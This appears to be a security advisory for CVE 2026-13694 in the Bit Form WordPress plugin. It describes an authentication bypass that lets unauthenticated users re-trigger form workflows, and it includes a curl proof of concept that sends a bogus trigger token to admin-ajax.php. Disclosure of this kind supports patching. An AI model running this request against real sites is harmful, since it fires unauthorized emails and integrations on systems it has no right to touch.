Bit Form < 3.1.0 – Unauthenticated Workflow Trigger via Authentication Bypass | CVE 2026-13694

Description

The plugin does not properly validate its workflow-trigger token once the associated transient has expired, allowing unauthenticated attackers to re-trigger a form's configured workflow actions such as notification emails and integrations.

Proof of Concept

Prerequisites: a form with a configured workflow (e.g. a mail notification); a valid, not-yet-processed workflow log id (leaked to the submitter on hosts that use the queued path) and an enumerable entry id; the entry's 1-hour trigger transient has expired.

# Unauthenticated request with a BOGUS (but non-empty) trigger token re-runs the workflow:
curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php?action=bitforms_trigger_workflow" \
  -H "Content-Type: application/json" \
  --data '{"id":"bitforms_1","cronNotOk":[<entryID>,<logID>,<queueLogId>,"totally-bogus-token"]}'

# Result: {"success":true} and the configured workflow (e.g. a notification email) is sent, with no
# valid token. (An EMPTY token is rejected with "Missing trigger token"; a non-empty dummy token bypasses.)